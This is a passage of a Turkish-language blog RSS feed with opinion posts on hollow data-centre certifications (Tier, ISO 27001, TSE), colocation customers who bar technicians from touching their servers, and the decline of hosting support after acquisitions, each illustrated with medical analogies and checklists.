<p>Veri merkezi kurmak sadece kabin vidalamak değildir; yerin altındaki yüksek voltajla, sokaktaki fiber borusuyla ve masadaki resmi mühürlerle verilen amansız bir mücadeledir. Bu görünmeyen cepheyi aşamayan hiçbir teknoloji vizyonu, kâğıt üzerindeki süslü mimari çizimlerden öteye geçemez.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Altyapı</category>
            <category>Enerji</category>
            <category>Trafo</category>
            <category>Bürokrasi</category>
            <category>Donanım</category>
            <category>Türkiye</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/rant-ve-ruhsat-savaslari-turkiyede-veri-merkezi-acmanin-gorunmeyen-maliyetleri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[TSE ve ISO Belgeleri: Kâğıt Üzerinde Kalan Veri Merkezi Standartları]]></title>
            <link>http://localhost:3000/blog/post/tse-ve-iso-belgeleri-kagit-uzerinde-kalan-veri-merkezi-standartlari</link>
            <guid>tse-ve-iso-belgeleri-kagit-uzerinde-kalan-veri-merkezi-standartlari</guid>
            <pubDate>Thu, 08 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Duvarlarında Tier III sertifikaları ve ISO 27001 plaketleri asılı olan ama sunucu koridorlarında paspas kovasıyla dolaşılan, kapısı takozla aralık bırakılan merdiven altı veri merkezlerinin gerçek yüzü.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/tse-ve-iso-belgeleri-kagit-uzerinde-kalan-veri-merkezi-standartlari/thumbnail" alt=""> Özel bir sağlık kuruluşunun giriş lobisini düşünün. Duvarlar mermer kaplıdır, girişte pirinç çerçeveler içinde "JCI (Joint Commission International) A+ Uluslararası Akreditasyon", "ISO 9001 Kalite Yönetimi" ve "Sağlık Bakanlığı Mükemmeliyet Ödülü" asılıdır. Müşteri bu altın yaldızlı belgelere bakıp içeri girdiğinde kendini dünyanın en steril ortamında zanneder. Ancak ameliyathane katına çıktığınızda dehşet verici bir manzarayla karşılaşırsınız: Ameliyathanenin yangın kapısı havalansın diye altına tahta takoz sıkıştırılarak aralık bırakılmıştır; içeriye sokak tozu dolmaktadır. Temizlik görevlisi elindeki kirli paspas kovasını steril operasyon masasının hemen yanındaki lavaboya boşaltmakta, cerrah ise dışarıdaki sigara molasından sonra ellerini 3 saniye ıslatıp ameliyat eldivenini takmaktadır. Duvardaki JCI sertifikası o an ne işe yarar? Koca bir sıfır. Çünkü standart bir duvara asılan çerçeve değil; sahada her saniye uygulanan tavizsiz bir disiplindir.</p>
<p>Türkiye bilişim ve veri merkezi sektöründe de durum tam olarak bu akredite klinikten farksızdır. Web sitelerinde <strong>"Tier III Sertifikalı, ISO 27001, ISO 22301, TSE Onaylı Veri Merkezi"</strong> sloganlarıyla pazarlanan birçok tesisin iç kapısını araladığınızda; kâğıt üzerindeki sertifikasyon tiyatrosu ile sahadaki sefaletin çarpıcı kontrastıyla yüzleşirsiniz.</p>
<hr>
<h2>Sertifikasyon Tiyatrosu: "Tasarım" vs. "İnşa Edilmiş Tesis"</h2>
<p>Veri merkezlerinde küresel altın standart <strong>Uptime Institute</strong> tarafından belirlenen Tier seviyeleridir (Tier I, II, III, IV).</p>
<p>Ancak Türkiye'deki birçok işletmeci müşterileri aldatmak için terminolojinin arkasına saklanır:</p>
<pre><code>[KÂĞIT ÜZERİNDEKİ İLLÜZYON]
Tier III: "Design Documents" (Tasarım Belgesi)
- Bir mimarlık ofisine Tier III uyumlu mükemmel bir CAD projesi çizdirilir.
- Uptime Institute'a para yatırılır ve "Tasarım Sertifikası" alınır.
- Duvara asılır: "BİZ TIER III SERTİFİKALIYIZ!"

[SAHADAKİ ACI GERÇEKLİK]
Tier III: "Constructed Facility" (İnşa Edilmiş Tesis Belgesi)
- Gerçekte bu aşama ASLA yapılmaz!
- Çünkü sahada o projeye sadık kalınmamıştır:
  * Projede çift bağımsız jeneratör varken sahada tek jeneratör konulmuştur.
  * Projedeki 2N UPS hatları yerine N+1 ucuz UPS alınmıştır.
  * Uptime Institute denetçileri tesise çağrılıp yük testi (Load Bank Test) yaptırılmamıştır!
</code></pre>
<p>Müşteri duvarda Tier III logosu görünce tesisin kesintisiz çalışacağına inanır. Oysa o belge sadece bir "niyet beyanıdır"; sahadaki betonun ve kablonun o standartta olduğunu kanıtlamaz.</p>
<hr>
<h2>Beyaz Alan Gerçekleri: Paspas Kovası ve Açık Kapılar</h2>
<p>Gerçek bir Tier III veri merkezinin beyaz alanı (White Space - Sunucu Odası), bir ameliyathane kadar steril ve izole olmak zorundadır.</p>
<p>Ancak "sertifikalı" birçok yerli merdiven altı tesiste karşılaşılan tipik vaka manzaraları şunlardır:</p>
<h3>1. Pozitif Basınç ve Toz İzolasyonunun Katli</h3>
<p>Bir veri merkezinde sunucu odasının hava basıncı dış koridorlardan daha yüksek olmalıdır (Pozitif Basınç). Kapı açıldığında içerideki hava dışarı üflemeli, dışarıdaki tozlar içeri girmemelidir.<br>
Peki sahada ne görülür? Sunucu odasının kapı kilidi bozulmuştur; içeri giren teknisyen kapıyı kapatmakla uğraşmasın diye önüne 5 litrelik bir yangın tüpü veya tahta takoz koyup kapıyı ardına kadar açık bırakmıştır! Sokaktaki egzoz dumanı ve inşaat tozu milyon dolarlık sunucuların fanlarına dolmaktadır.</p>
<h3>2. Paspas Kovası ile Sunucu Temizliği</h3>
<p>Sunucu odalarında statik elektriği engelleyen yükseltilmiş döşemeler (Raised Floor) vardır. Bu döşemelerin altından binlerce voltluk enerji kabloları ve hassas fiberler geçer. Bu zeminler sadece özel antistatik HEPA filtreli kuru vakum cihazlarıyla temizlenebilir.<br>
Oysa tesiste göreceğiniz şey: Asgari ücretli temizlik görevlisinin elinde deterjanlı ıslak paspasla kabinlerin arasından geçmesi, paspasın suyunu yükseltilmiş döşemenin havalandırma deliklerinden aşağıya, yüksek voltaj kablolarının üzerine damlatmasıdır!</p>
<h3>3. Sıcak-Soğuk Koridor İhlalleri</h3>
<p>Enerji verimliliğinin ve sunucu sağlığının temeli sıcak hava ile soğuk havanın birbirine karışmasını engelleyen kapalı koridor (Aisle Containment) mimarisidir.<br>
Sahada ise kabinlerin ön kapakları açık bırakılmış, kabin içi körleme panelleri (Blanking Panels) masraf olmasın diye takılmamış, soğuk hava doğrudan sıcak koridora kaçarak sunucuların termal kilitlenmeye (Overheating) girmesine sebep olmuştur.</p>
<hr>
<h2>ISO 27001 ve TSE Denetimleri Nasıl Geçilir?</h2>
<p>ISO 27001 (Bilgi Güvenliği Yönetim Sistemi) ve yerel TSE denetimleri, teoride sistemin güvenliğini ve erişim kayıtlarını denetlemekle yükümlüdür.</p>
<p>Ancak Türkiye'deki denetim ekosistemi çoğu zaman bir "evrak tamamlama" formalitesinden ibarettir:</p>
<ul>
<li>Denetçi gelmeden 3 gün önce tüm eksik ziyaretçi defterleri geçmişe dönük olarak aynı tükenmez kalemle doldurulur.</li>
<li>Kameraların çalışıp çalışmadığına değil, kameranın fiziksel olarak tavanda asılı olup olmadığına bakılır.</li>
<li>Sunucu kabinlerinin kilitli olması gerekir; ancak anahtarlar kabinlerin üzerinde takılı unutulmuştur. Denetçi geldiğinde alelacele anahtarlar cebe atılır.</li>
<li>Akşam denetim heyetine güzel bir akşam yemeği ısmarlanır; ertesi gün ISO 27001 sertifikası kargo ile ofise teslim edilir.</li>
</ul>
<p>Bu kâğıt parçası, içeriye harici bir flash bellek sokup müşteri verilerini kopyalamak isteyen kötü niyetli bir stajyeri engelleyebilir mi? Asla.</p>
<hr>
<h2>Gerçek Bir Veri Merkezini Anlama Kılavuzu: 5 Basit Sahra Testi</h2>
<p>Eğer bir veri merkezine sunucu koyacaksanız (Colocation) veya altyapınızı taşıyacaksanız, satış temsilcisinin elindeki broşürlere ve duvardaki sertifikalara bakmayın. Beyaz alana girin ve şu 5 noktayı bizzat kontrol edin:</p>
<pre><code>[TEST 1] Kapı Girişi:
- İçeri girerken galoş makinesi var mı? Yapışkan paspas çalışıyor mu?
- Kapı arkasından kapandığında manyetik kilit anında kilitleniyor mu?

[TEST 2] Zemin ve Tavan:
- Kabinlerin üzerinde boşluk panelleri (blanking panels) tam mı?
- Döşemenin altında su baskını algılama kabloları (rope sensor) döşeli mi?

[TEST 3] Jeneratör Alanı:
- Jeneratör yakıt tankı ne kadar dolu?
- Jeneratör haftalık otomatik yük testine (test run) giriyor mu? Log defterine bakın!

[TEST 4] Yangın Söndürme:
- Tavanda su sprinkler'ı mı var, yoksa gazlı (FM200 / Novec 1230) sistem mi?
- (Sunucu odasında su sprinkler'ı varsa oradan arkkanıza bakmadan kaçın!)

[TEST 5] Fiziksel Güvenlik:
- Sunucu kabininin anahtarı sadece size mi özel, yoksa genel master anahtar mı var?
</code></pre>
<p>Bu 5 sorudan 2 tanesi bile olumsuzsa; o tesisin duvarındaki ISO ve Tier sertifikaları sadece müşterileri uyutmak için tasarlanmış birer sahne dekorudur.</p>
<h2>Sonuç</h2>
<p>Ameliyathane kapısına tahta takoz koyup içeride paspas sallayan bir hastanenin duvarındaki JCI akreditasyonu hastayı enfeksiyondan koruyamaz; beyaz alanında disiplin ve hijyen olmayan bir veri merkezinin ISO sertifikası da sunucularınızı kesintiden ve yangından koruyamaz.</p>
<p>Mühendislik kâğıt üzerinde değil, sahada nefes alır. Sertifikalar yalnızca asgari şartların bir belgesidir; kalite ise o şartları denetçi yokken bile bir ibadet ciddiyetiyle korumaktır. Altyapınızı pazarlama broşürlerine değil; somut fiziksel disipline ve çalışan mühendislik gerçeklerine emanet edin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Tier Standartları</category>
            <category>Uptime Institute</category>
            <category>ISO 27001</category>
            <category>TSE</category>
            <category>Denetim</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/tse-ve-iso-belgeleri-kagit-uzerinde-kalan-veri-merkezi-standartlari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sunucu Barındırma Müşterisinin 'Benim Cihazım' Dokunulmazlığı]]></title>
            <link>http://localhost:3000/blog/post/sunucu-barindirma-musterisinin-benim-cihazim-dokunulmazligi</link>
            <guid>sunucu-barindirma-musterisinin-benim-cihazim-dokunulmazligi</guid>
            <pubDate>Wed, 07 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kendi fiziksel sunucusunu veri merkezine koyup 'Cihazıma kimse el sürmesin, gizli verilerim var' diyerek fanı patlayan ve alev alma noktasına gelen donanımına müdahaleyi engelleyen paranoyak müşteriler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-barindirma-musterisinin-benim-cihazim-dokunulmazligi/thumbnail" alt=""> Yoğun bakım servisinde kritik bir hastanın başında bekleyen bir hasta yakını düşünün. Hasta entübe edilmiş, monitörlere bağlı ve yaşam mücadelesi veriyor. Ancak hasta yakını odanın kapısına dikilmiş ve hekimlere şöyle bağırmaktadır: <em>"Bu benim babam! Vücudu özeldir, aile sırlarımız var, hiçbir doktor veya hemşire babamın bedenine el süremez! İğne yapamazsınız, serum takamazsınız, defibrilatör dokunduramazsınız! Ben izin vermeden hiçbir müdahale yapılamaz!"</em> Birkaç saat sonra hastanın kalp ritmi bozulup monitör kırmızı alarm vermeye başladığında, hekimler kapıdaki şahsın histerisi yüzünden odaya giremez. Hasta göz göre göre arrest olur ve hayatını kaybeder. Sorumsuz hasta yakını ise acil müdahaleyi bizzat engellediği halde hastaneyi "Babamı kurtarmadınız" diye suçlar. Bu bir hak arayışı değil; tıbbi cinayete ortak olan patolojik bir paranoyadır.</p>
<p>Veri merkezlerinde sunucu barındırma (Colocation) hizmeti alan bazı kurumsal müşterilerin ve IT yöneticilerinin sergilediği tutum, yoğun bakım kapısına barikat kuran bu hasta yakınından farksızdır.</p>
<p>Kendi fiziksel Dell, HP veya Supermicro sunucusunu veri merkezinin 42U kabinine yerleştiren müşteri, sözleşmeye katı bir şerh düşer: <em>"Bu cihaz benim şirketimin namusudur. İçeride gizli müşteri verilerimiz ve veritabanlarımız var. Veri merkezinin hiçbir teknisyeni, ne olursa olsun bu kasanın kapağına dokunamaz, kablosunu çekemez, uzaktan el (Remote Hands) hizmeti veremez! Her müdahaleyi bizzat ben gelip yapacağım!"</em></p>
<p>Ve o Cuma gecesi veri merkezinde çığlıklar yükselmeye başladığında, bu dokunulmazlık zırhı trajik bir felakete dönüşür.</p>
<hr>
<h2>Gece 02:40: 15.000 RPM'lik Çığlık ve Termal Kaçak</h2>
<p>Veri merkezinin beyaz alanında (White Space) 7/24 nöbet tutan vardiya teknisyeni kabinlerin arasında rutin devriye atarken 14 numaralı kabinden acı bir ses duyar:</p>
<ul>
<li>1U rack tipi sunucunun redundant 8 adet fanından 5 tanesi kilitlenmiştir.</li>
<li>Kalan 3 fan, işlemcilerin 95 dereceye fırlamasıyla birlikte maksimum devir olan 15.000 RPM'de kulakları sağır eden bir ıslık sesiyle dönmektedir.</li>
<li>Kasanın ön panelindeki durum LED'i yanıp sönen amber (turuncu) alarmına dönmüştür: <code>Critical Thermal Event - Fan Redundancy Lost</code>.</li>
<li>Kabinin içi fırın sıcaklığına (65°C) ulaşmış, komşu sunucuların giriş havasını da ısıtmaya başlamıştır.</li>
</ul>
<p>Teknisyen hemen envanter sistemine bakar: Müşteri "Dokunulmazlık Protokolü" imzalamıştır!<br>
Yetki seviyesi: <code>Hands-off / No Touch Policy</code>.</p>
<p>Teknisyenin yasal olarak o sunucunun açma-kapama düğmesine basma, güç kablosunu çekme veya kapağını açma yetkisi yoktur. Yaparsa müşteri "Ticari sırlarımı çaldınız, sistemime izinsiz müdahale ettiniz" diyerek veri merkezini dava edecektir.</p>
<hr>
<h2>Ulaşılamayan IT Müdürü ve Bekleyiş</h2>
<p>Nöbetçi teknisyen acil durum rehberini açar. Şirketin IT müdürünün cep telefonunu arar:</p>
<ul>
<li>Saat 02:45: Telefon çalar, çalar... Açılmaz.</li>
<li>Saat 03:00: İkinci numara aranır... "Aradığınız kişiye ulaşılamıyor."</li>
<li>Saat 03:15: Nöbetçi IT personeline e-posta ve SMS fırlatılır: <em>"Sunucunuzda kritik fan arızası var, CPU sıcaklığı 98°C, donanım erime riski altında, acil onay verin veya gelin!"</em> Yanıt yok.</li>
</ul>
<p>Sunucu kabinin içinde acı içinde inlemeye devam eder:</p>
<ul>
<li>İki Xeon işlemci termal kısma (Thermal Throttling) moduna girer. Saat hızları 3.2 GHz'den 800 MHz'e düşer.</li>
<li>Müşterinin web sitesi ve ERP sistemi kağnı hızına geriler.</li>
<li>Sabit diskler (Enterprise SAS/NVMe) 60 dereceyi geçer; yüksek ısı manyetik yüzeyleri ve bellek yongalarını bozmaya başlar.</li>
</ul>
<p>Ve saat 04:20'de kasanın içinden minik bir patlama sesi gelir: Anakart üzerindeki regülatör kapasitörlerinden biri aşırı ısıya dayanamayıp patlar (Capacitor Blowout). Sunucudan ince bir duman yükselir ve güç kaynağı kendini acil korumaya alarak kapatır.</p>
<hr>
<h2>Sabah 09:30 Hesaplaşması: "Sunucumu Yaktınız!"</h2>
<p>Sabah mesai başladığında IT müdürü veri merkezinin lobisine hışımla dalar:<br>
<em>"Sistemlerimiz çökmüş! Biz size dünyanın parasını ödüyoruz, sunucumuz nasıl kapanır?!"</em></p>
<p>Teknisyen kabini açar, kapkara olmuş anakartı ve patlamış fanları gösterir:<br>
<em>"Gece saat 02:45'ten beri sizi 14 kez aradık. Fanlarınız kilitlendi, işlemciniz 100 dereceye vurdu. Eğer kabloyu çekmemize veya kapağı açıp yedek fan takmamıza izin verseydiniz cihazınız şu an çalışıyor olacaktı. Ama siz 'Cihazıma dokunulamaz' protokolü imzaladınız. Müdahale etseydik bizi mahkemeye verecektiniz!"</em></p>
<p>IT müdürü kem küm eder: <em>"Canım acil durumlarda baksaydınız, beni arasaydınız... Gece uyuyordum!"</em></p>
<p>İşte profesyonellikten uzak, egoyla harmanlanmış teknik paranoyanın vardığı nihai durak budur: Kendi cihazını korumaya çalışırken kendi kibriyle kül etmek.</p>
<hr>
<h2>Gerçek Güvenlik vs. Paranoya: Veri Merkezi Teknisyeni Neyi Görebilir?</h2>
<p>Müşterilerin "Sunucuma dokunmasınlar, verilerimi çalarlar" korkusu temel bir teknik bilgisizlikten beslenir.</p>
<p>Modern kurumsal sunucu mimarilerinde fiziksel erişim, veri hırsızlığı anlamına gelmez:</p>
<ol>
<li><strong>Disk Düzeyinde Şifreleme (LUKS / BitLocker / SED):</strong><br>
Profesyonel bir sistem mühendisi sunucunun disklerini zaten donanımsal veya yazılımsal olarak tam disk şifreleme (FDE - Full Disk Encryption) ile kilitler. Bir teknisyen sunucunun kapağını açsa, diski söküp kendi bilgisayarına taksa bile şifreleme anahtarı olmadan göreceği tek şey anlamsız rastgele baytlardır (gürültü).</li>
<li><strong>Kasa Açılma Sensörleri (Chassis Intrusion):</strong><br>
Sunucu kasalarında kapağın açıldığını anakarta ve iDRAC/iLO loglarına saniyesi saniyesine kaydeden anahtarlar (chassis intrusion switch) bulunur. İzinsiz bir müdahale anında e-posta alarmı fırlatır.</li>
<li><strong>Kabin İçi Kamera ve Güvenlik:</strong><br>
Tier III veri merkezlerinde her koridor 4K çözünürlüklü kameralarla 7/24 izlenir ve kayıtlar 90 gün saklanır. Tek bir teknisyenin kapağı açıp cebinden USB bellek çıkarması imkansızdır.</li>
</ol>
<hr>
<h2>Profesyonel Colocation Protokolü: "Remote Hands" (Uzaktan El) Yetkilendirmesi</h2>
<p>Akıllı ve kurumsal bir organizasyon, veri merkezindeki mühendisleri bir "düşman" değil; uzaktaki kendi cerrahi ekibi olarak konumlandırır.</p>
<p>Doğru Barındırma Sözleşmesi Şunları İçermelidir:</p>
<pre><code>[KUSURSUZ COLOCATION YETKİLENDİRME MATRİSİ]

SEVİYE 1: Rutin İşlemler (Müşteri Onayı Gerekir)
- Yeni kablo çekimi, donanım yükseltme, OS kurulumu.

SEVİYE 2: Acil Donanım Koruması (Önceden Verilmiş Şartsız Yetki!)
- Fan kilitlenmesi, sıcaklığın 85°C'yi aşması, sıvı soğutma kaçağı durumunda:
  --> Teknisyenin cihazı derhal 'Graceful Shutdown' yapma veya
      güç kablosunu çekerek donanımı kurtarma YETKİSİ VARDIR!

SEVİYE 3: Yedek Parça Havuzu (Spare Parts SLA)
- Müşteri sunucusunun 2 adet yedek fanını ve 1 adet yedek güç kaynağını
  veri merkezinin emanet dolabına bırakır.
- Arıza anında teknisyen müşteriyi beklemeden parçayı 5 dakikada değiştirir.
</code></pre>
<h2>Sonuç</h2>
<p>Yoğun bakımdaki hastanın hekimine "Babamın bedenine el sürmeyin" diyen hasta yakını şefkatli değil, katildir; veri merkezindeki uzman teknisyene "Alev alsa bile sunucuma dokunmayın" diyen sistem yöneticisi de tedbirli değil, basiretsizdir.</p>
<p>Verilerinizi korumanın yolu donanımı tecrit etmek değil; veriyi güçlü kriptografiyle şifrelemektir. Fiziksel donanım ise nefes alması, soğutulması ve arızalandığında anında müdahale edilmesi gereken mekanik bir organdır. Uzaktayken sunucunuzun hayatını kurtaracak ellere kelepçe vurmayın; yoksa sabah kül olmuş bir kasanın başında kendi gururunuzun cenaze namazını kılarsınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Colocation</category>
            <category>Veri Merkezi</category>
            <category>SysAdmin</category>
            <category>Donanım</category>
            <category>Paranoya</category>
            <category>Kriz Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-barindirma-musterisinin-benim-cihazim-dokunulmazligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Büyük Hosting Firmalarının Satın Alma Dalgaları ve Destek Kalitesinin Erimesi]]></title>
            <link>http://localhost:3000/blog/post/buyuk-hosting-firmalarinin-satin-alma-dalgalari-ve-destek-kalitesinin-erimesi</link>
            <guid>buyuk-hosting-firmalarinin-satin-alma-dalgalari-ve-destek-kalitesinin-erimesi</guid>
            <pubDate>Tue, 06 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Küçük, samimi ve teknik derinliği yüksek butik hosting firmalarının küresel fonlar veya holdingler tarafından yutulmasıyla teknik desteğin soğuk çağrı merkezi robotlarına dönüşmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/buyuk-hosting-firmalarinin-satin-alma-dalgalari-ve-destek-kalitesinin-erimesi/thumbnail" alt=""> Mahallenin 30 yıllık emektar aile hekimini gözünüzün önüne getirin. Hangi komşunun penisiline alerjisi olduğunu, kimin hipertansiyonunun stresle fırladığını ezbere bilir. Gece saat 03:00'te kapısını çalsanız veya telefonunu arasanız yataktan fırlar, neşterini alır ve hastayı sakinleştirip krizden çıkarır. Şimdi bu butik kliniğin uluslararası dev bir finansal yatırım fonu (Private Equity) ve holding hastane zinciri tarafından satın alındığını hayal edin. Kliniğin girişine parlak LED tabelalar asılır, emektar hekimler "maliyet optimizasyonu" gerekçesiyle işten çıkarılır; yerlerine saatte 20 hastaya bakmaya zorlanan, hastanın yüzüne bile bakmadan ekrandaki standart teşhis formunu dolduran asistanlar konulur. Gece aradığınızda karşınızda nöbetçi hekim değil; <em>"Şikayetiniz için lütfen 1'e, randevu için 2'ye basınız. Şu an 42. sıradasınız"</em> diyen soğuk bir santral robotu bulursunuz. Klinik artık şifa dağıtan bir sağlık ocağı değil; Excel tablolarındaki EBITDA marjlarını maksimize etmeye odaklanmış mekanik bir para basma fabrikasıdır.</p>
<p>Türkiye ve küresel web hosting ekosisteminde son yıllarda yaşanan devasa satın alma (M&#x26;A - Mergers and Acquisitions) dalgaları, bilişim sektöründe tam olarak bu aile hekimliği ruhunun katledilmesidir.</p>
<hr>
<h2>Altın Çağ: Mühendisle Doğrudan Konuştuğunuz Günler</h2>
<p>2010'lu yılların başında Türkiye'de web barındırma hizmeti veren onlarca bağımsız, tutkulu ve teknik derinliği son derece yüksek butik firma vardı.</p>
<ul>
<li>Destek bileti (ticket) açtığınızda sorununuzu okuyan kişi sistem yöneticisinin ta kendisiydi.</li>
<li>Gece saat 01:00'de Nginx kuralınız bozulduğunda veya MySQL tablonuz kilitlendiğinde yazdığınız mesaja 4 dakika içinde şu yanıt gelirdi: <em>"Ahmet Bey merhaba, Nginx config'inizdeki proxy_pass satırının sonuna eğik çizgi koymayı unutmuşsunuz, düzelttim ve servisi yeniden yükledim, kontrol eder misiniz?"</em></li>
<li>Destek ekibi firmanın sunduğu altyapının her bir kablosunu, sunucuların RAM yuvalarını bizzat eliyle takmıştı. Müşteri bir "sayı" değil; ortak bir ekosistemin paydaşıydı.</li>
</ul>
<p>Bu butik firmalar büyüdü, binlerce mutlu müşteri edindi ve pazar payını genişletti. Ve kaçınılmaz son geldi: <strong>Finansal Avcıların Radarına Girdiler.</strong></p>
<hr>
<h2>Satın Alma Dalgası (M&#x26;A): Balayı Fazından Soğuk Duşa</h2>
<p>Büyük bir holding, Londra merkezli bir yatırım fonu veya küresel bir hosting tekeli (örneğin Newfold Digital / Endurance International Group benzeri yapılar) masaya bir çanta dolusu milyon dolar koyar:<br>
<em>"Şirketinizi satın alıyoruz. Markanızı koruyacaksınız, müşterileriniz aynı kalacak, gücümüze güç katacağız!"</em></p>
<p>Kurucular haklı olarak parayı alır ve yönetim kurulundan çekilir. İlk 3 ay "balayı fazı" yaşanır; müşterilere süslü bültenler atılır: <em>"Daha güçlü bir altyapıyla hizmetinizdeyiz!"</em></p>
<p>Ancak fon yöneticileri ofise adım attığı gün, mühendisliğin yerini <strong>Finansal Rasyolar</strong> alır:</p>
<pre><code>[ÖNCE: Butik Mühendislik Modeli]
- Öncelik: Çözüm Süresi (Time to Resolution - TTR)
- Destek: Kıdemli Sistem Yöneticisi (Senior SysAdmin)
- Amaç: Sorunu kökünden çöz, müşteriyi memnun et.
- Maliyet: Yüksek teknik personel maaşı.

[SONRA: Kurumsal Fon / Holding Modeli]
- Öncelik: Çağrı Başına Maliyet (Cost per Ticket)
- Destek: Asgari ücretli L1 Çağrı Merkezi Personeli
- Amaç: Bileti mümkün olduğunca hızlı kapat, hazır şablon yapıştır.
- KPI: "Ortalama yanıtlama süresi 2 dakikanın altında olmalı!"
  (Yanıtın ne olduğu önemli değil; 'İletildi' deseniz bile süre kazanılır!)
</code></pre>
<hr>
<h2>Çöküş Anatomisi: "Kalıp Yanıtlar" Duvarı</h2>
<p>Satın almadan sonraki 1 yıl içinde sistem mühendisleri ya istifa eder ya da maliyeti kısmak adına işten çıkarılır. Yerlerine teknik altyapıdan bihaber, yalnızca ekrandaki CRM yazılımının makrolarını tıklayan çağrı merkezi personeli doldurulur.</p>
<p>Müşterinin e-ticaret sitesi çöker. Veritabanı yanıt vermemektedir. Müşteri panik içinde destek talebi açar:<br>
<em>"Acil! MySQL sunucusu kilitlendi, 'Too many connections' hatası alıyorum, sitemde Black Friday kampanyası var, lütfen bağlantı limitini artırın!"</em></p>
<p>Eski günlerde bu mesajı gören mühendis hemen konsola girip <code>max_connections</code> parametresini artırır ve kilitlenen sorguyu öldürürdü.</p>
<p>Yeni kurumsal yapıda gelen yanıt ise trajikomiktir:</p>
<pre><code class="language-text">Sayın Müşterimiz,

Talebiniz ilgili departmana iletilmiştir. Tarayıcınızın çerezlerini 
ve DNS önbelleğinizi temizleyip farklı bir internet tarayıcısından 
tekrar giriş yapmayı denemenizi rica ederiz. 

Sorununuz devam ederse lütfen bize tekrar yazınız.

Saygılarımızla,
Müşteri Deneyimi Ekibi
</code></pre>
<p>Müşteri ekran başında çıldırır: Veritabanı kilitlenmiştir ve destek botu tarayıcı çerezi temizlemeyi önermektedir!</p>
<p>Tekrar yazar; bu kez başka bir L1 personeli yanıt verir:<br>
<em>"Altyapımızda genel bir sorun bulunmamaktadır. Paketiniz Unmanaged olduğu için kod optimizasyonunuzu kendiniz yapmalısınız."</em></p>
<p>İletişim kopmuştur. Karşınızda bir muhatap, bir mühendis, sorundan anlayan tek bir insan evladı kalmamıştır. Sistem, müşteriyi bezdirip kendi haline bırakmak üzerine kurgulanmış bürokratik bir duvar örmüştür.</p>
<hr>
<h2>Gizli Fiyat Zamları ve Özelliklerin Budanması</h2>
<p>Satın alma yapan fonların tek hedefi, harcadıkları milyonlarca doları en geç 3 yıl içinde kâr olarak geri toplamaktır (ROI).</p>
<p>Bunun için cerrahi müdahaleler başlar:</p>
<ol>
<li><strong>Yenileme Fiyatlarının Çıldırması:</strong> İlk alımda ucuz olan paketler, sözleşme yenileme zamanı geldiğinde %300 - %500 zamlanır.</li>
<li><strong>Ücretsiz Hizmetlerin Paralı Hale Gelmesi:</strong> Eskiden ücretsiz olan otomatik yedekleme, SSL kurulumu veya e-posta desteği "Gelişmiş Destek Paketi" adı altında aylık ücrete bağlanır.</li>
<li><strong>Aynı Sunucuya Daha Fazla Müşteri İstiflenmesi:</strong> Kâr marjını artırmak için sunucu donanım yatırımları dondurulur; mevcut sunuculara daha agresif overcommit yapılır.</li>
</ol>
<hr>
<h2>Müşteri Göçü ve Butik Rönesans</h2>
<p>Bu yozlaşma döngüsü internet tarihinde ilk kez yaşanmamaktadır. Küresel ölçekte cPanel'in satın alınıp lisans fiyatlarının 10 katına çıkarılması, ardından bağımsız hosting firmalarının tekel holdingler tarafından toplanması her zaman aynı karşı reaksiyonu doğurur: <strong>Butik Rönesans.</strong></p>
<p>Büyük holdinglerin hantallığından, robotlaşmış destek sisteminden ve fahiş gizli maliyetlerinden bıkan bilinçli geliştiriciler ve işletmeler:</p>
<ul>
<li>Ya altyapılarını bağımsız bulut sağlayıcılarına (Hetzner, Linode, DigitalOcean) taşıyıp kendi sistemlerini kendileri yönetmeye başlar,</li>
<li>Ya da piyasaya yeni çıkmış, henüz fonlara satılmamış, kurucularının bizzat terminal başında nöbet tuttuğu yeni nesil bağımsız butik sağlayıcılara kaçar.</li>
</ul>
<h2>Sonuç</h2>
<p>Hastaneyi holding satın aldığında binalar güzelleşebilir, lobide piyano çalabilir; ancak ameliyat masasında hayatınızı kurtaracak olan şey lobideki piyano değil, hekimin adanmışlığı ve vicdanıdır.</p>
<p>Hosting firmaları da holdingleştikçe web siteleri parlar, logoları modernize olur; ancak gecenin bir yarısı veritabanınız çöktüğünde ihtiyacınız olan şey kurumsal pazarlama bültenleri değil, terminalin başında ne yaptığını bilen gerçek bir sistem mühendisidir. Altyapınızı seçerken firmanın büyüklüğüne değil; acil serviste karşınızda bir insan mı yoksa kopyala-yapıştır yapan bir çağrı merkezi robotu mu bulacağınıza bakın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Hosting</category>
            <category>Satın Alma</category>
            <category>M&amp;A</category>
            <category>Teknik Destek</category>
            <category>Kurumsal Kültür</category>
            <category>Yazılım Kültürü</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/buyuk-hosting-firmalarinin-satin-alma-dalgalari-ve-destek-kalitesinin-erimesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Yurtdışı Lokasyon VDS Alıp Türkiye'ye E-Ticaret Yapmak: Latency Çilesi]]></title>
            <link>http://localhost:3000/blog/post/yurtdisi-lokasyon-vds-alip-turkiyeye-e-ticaret-yapmak-latency-cilesi</link>
            <guid>yurtdisi-lokasyon-vds-alip-turkiyeye-e-ticaret-yapmak-latency-cilesi</guid>
            <pubDate>Mon, 05 Jan 2026 00:00:00 GMT</pubDate>
